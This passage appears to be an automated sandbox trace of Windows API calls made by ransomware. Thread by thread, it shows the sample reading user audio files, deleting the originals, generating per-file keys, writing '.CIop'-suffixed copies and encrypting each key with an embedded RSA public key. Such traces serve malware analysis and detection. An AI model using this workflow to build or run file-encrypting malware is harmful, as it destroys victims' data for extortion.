pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.145] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0095.145] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x5c8598) returned 1 [0095.145] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8598, dwCertEncodingType=0x1, pInfo=0x5c1b90, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x5c2bd0) returned 1 [0095.145] CryptEncrypt (in: hKey=0x5c2bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0095.145] CryptEncrypt (in: hKey=0x5c2bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8b70*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8b70*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0095.145] WriteFile (in: hFile=0x4b8, lpBuffer=0x5c8b70*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8b70*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.145] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.146] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.146] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.147] CloseHandle (hObject=0x4b8) returned 1 [0095.148] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\z8Pr_v.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\z8pr_v.mp3")) returned 0 Thread: id = 110 os_tid = 0x2bc [0095.122] lstrcpyA (in: lpString1=0x328e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.122] lstrcpyW (in: lpString1=0x328f368, lpString2="2HvoIrFtByws.mp3" | out: lpString1="2HvoIrFtByws.mp3") returned="2HvoIrFtByws.mp3" [0095.122] lstrcpyW (in: lpString1=0x328f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.122] SetErrorMode (uMode=0x1) returned 0x1 [0095.122] wsprintfW (in: param_1=0x328eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\2HvoIrFtByws.mp3") returned 56 [0095.122] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\2HvoIrFtByws.mp3", dwFileAttributes=0x20) returned 1 [0095.122] StrStrW (lpFirst="2HvoIrFtByws.mp3", lpSrch=".CIop") returned 0x0 [0095.122] wsprintfW (in: param_1=0x328e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\2HvoIrFtByws.mp3.CIop") returned 61 [0095.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\2HvoIrFtByws.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\2hvoirftbyws.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0095.123] ReadFile (in: hFile=0x4b8, lpBuffer=0x652658, nNumberOfBytesToRead=0x95a3, lpNumberOfBytesRead=0x328e5e8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesRead=0x328e5e8*=0x95a3, lpOverlapped=0x0) returned 1 [0095.124] CloseHandle (hObject=0x4b8) returned 1 [0095.124] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\2HvoIrFtByws.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\2hvoirftbyws.mp3")) returned 1 [0095.149] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0095.149] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0095.149] SetErrorMode (uMode=0x1) returned 0x1 [0095.149] CryptAcquireContextW (in: phProv=0x328e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x328e5b8*=0x5c8840) returned 1 [0095.152] CryptGenKey (in: hProv=0x5c8840, Algid=0x1, dwFlags=0x4000, phKey=0x328e5bc | out: phKey=0x328e5bc*=0x5c3110) returned 1 [0095.178] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x328e5ec | out: pbData=0x0*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0095.178] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x328e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0095.178] CryptDestroyKey (hKey=0x5c3110) returned 1 [0095.178] CryptReleaseContext (hProv=0x5c8840, dwFlags=0x0) returned 1 [0095.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\2HvoIrFtByws.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\2hvoirftbyws.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0095.178] WriteFile (in: hFile=0x4ac, lpBuffer=0x652658*, nNumberOfBytesToWrite=0x95a3, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesWritten=0x328e5d8*=0x95a3, lpOverlapped=0x0) returned 1 [0095.179] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x95a3 [0095.179] WriteFile (in: hFile=0x4ac, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x328e5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.180] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x95aa [0095.180] SetErrorMode (uMode=0x1) returned 0x1 [0095.180] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.180] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.180] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x328d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598 | out: pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598) returned 1 [0095.180] CryptAcquireContextW (in: phProv=0x328d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x328d5a8*=0x5c8510) returned 1 [0095.180] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8510, dwCertEncodingType=0x1, pInfo=0x5c1c60, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x328d5b0 | out: phKey=0x328d5b0*=0x5c2f90) returned 1 [0095.180] CryptEncrypt (in: hKey=0x5c2f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x328d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x328d5b4*=0x80) returned 1 [0095.180] CryptEncrypt (in: hKey=0x5c2f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c89d8*, pdwDataLen=0x328d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c89d8*, pdwDataLen=0x328d5a4*=0x80) returned 1 [0095.180] WriteFile (in: hFile=0x4ac, lpBuffer=0x5c89d8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c89d8*, lpNumberOfBytesWritten=0x328e5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.180] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.181] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.181] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.182] CloseHandle (hObject=0x4ac) returned 1 [0095.183] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\2HvoIrFtByws.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\2hvoirftbyws.mp3")) returned 0 Thread: id = 111 os_tid = 0x4e8 [0095.202] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.202] lstrcpyW (in: lpString1=0x2fef368, lpString2="69_UAHNRs.mp3" | out: lpString1="69_UAHNRs.mp3") returned="69_UAHNRs.mp3" [0095.202] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.202] SetErrorMode (uMode=0x1) returned 0x1 [0095.202] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\69_UAHNRs.mp3") returned 53 [0095.202] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\69_UAHNRs.mp3", dwFileAttributes=0x20) returned 1 [0095.203] StrStrW (lpFirst="69_UAHNRs.mp3", lpSrch=".CIop") returned 0x0 [0095.203] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\69_UAHNRs.mp3.CIop") returned 58 [0095.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\69_UAHNRs.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\69_uahnrs.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0095.203] ReadFile (in: hFile=0x4b8, lpBuffer=0x63acf0, nNumberOfBytesToRead=0x7391, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesRead=0x2fee5e8*=0x7391, lpOverlapped=0x0) returned 1 [0095.204] CloseHandle (hObject=0x4b8) returned 1 [0095.204] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\69_UAHNRs.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\69_uahnrs.mp3")) returned 1 [0095.205] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0095.206] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0095.206] SetErrorMode (uMode=0x1) returned 0x1 [0095.206] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c8bf8) returned 1 [0095.208] CryptGenKey (in: hProv=0x5c8bf8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3110) returned 1 [0095.235] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.235] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.235] CryptDestroyKey (hKey=0x5c3110) returned 1 [0095.235] CryptReleaseContext (hProv=0x5c8bf8, dwFlags=0x0) returned 1 [0095.235] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\69_UAHNRs.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\69_uahnrs.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0095.235] WriteFile (in: hFile=0x4b8, lpBuffer=0x63acf0*, nNumberOfBytesToWrite=0x7391, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesWritten=0x2fee5d8*=0x7391, lpOverlapped=0x0) returned 1 [0095.236] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7391 [0095.236] WriteFile (in: hFile=0x4b8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.236] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7398 [0095.236] SetErrorMode (uMode=0x1) returned 0x1 [0095.237] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.237] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.237] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0095.237] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c8620) returned 1 [0095.237] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8620, dwCertEncodingType=0x1, pInfo=0x5c1e00, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2f10) returned 1 [0095.237] CryptEncrypt (in: hKey=0x5c2f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0095.237] CryptEncrypt (in: hKey=0x5c2f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8f28*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8f28*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0095.237] WriteFile (in: hFile=0x4b8, lpBuffer=0x5c8f28*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8f28*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.237] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.237] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.238] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.238] CloseHandle (hObject=0x4b8) returned 1 [0095.239] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\69_UAHNRs.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\69_uahnrs.mp3")) returned 0 Thread: id = 112 os_tid = 0x538 [0095.264] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.264] lstrcpyW (in: lpString1=0x2fef368, lpString2="dCyPtvG.wav" | out: lpString1="dCyPtvG.wav") returned="dCyPtvG.wav" [0095.264] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.264] SetErrorMode (uMode=0x1) returned 0x1 [0095.264] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\dCyPtvG.wav") returned 51 [0095.264] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\dCyPtvG.wav", dwFileAttributes=0x20) returned 1 [0095.264] StrStrW (lpFirst="dCyPtvG.wav", lpSrch=".CIop") returned 0x0 [0095.264] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\dCyPtvG.wav.CIop") returned 56 [0095.264] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\dCyPtvG.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dcyptvg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0095.266] ReadFile (in: hFile=0x4cc, lpBuffer=0x652658, nNumberOfBytesToRead=0x169e7, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesRead=0x2fee5e8*=0x169e7, lpOverlapped=0x0) returned 1 [0095.267] CloseHandle (hObject=0x4cc) returned 1 [0095.267] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\dCyPtvG.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dcyptvg.wav")) returned 1 [0095.268] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0095.268] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0095.269] SetErrorMode (uMode=0x1) returned 0x1 [0095.269] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c86a8) returned 1 [0095.271] CryptGenKey (in: hProv=0x5c86a8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c2e50) returned 1 [0095.852] CryptExportKey (in: hKey=0x5c2e50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.852] CryptExportKey (in: hKey=0x5c2e50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.852] CryptDestroyKey (hKey=0x5c2e50) returned 1 [0095.852] CryptReleaseContext (hProv=0x5c86a8, dwFlags=0x0) returned 1 [0095.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\dCyPtvG.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dcyptvg.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0095.853] WriteFile (in: hFile=0x4d4, lpBuffer=0x652658*, nNumberOfBytesToWrite=0x169e7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesWritten=0x2fee5d8*=0x169e7, lpOverlapped=0x0) returned 1 [0095.854] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x169e7 [0095.854] WriteFile (in: hFile=0x4d4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | 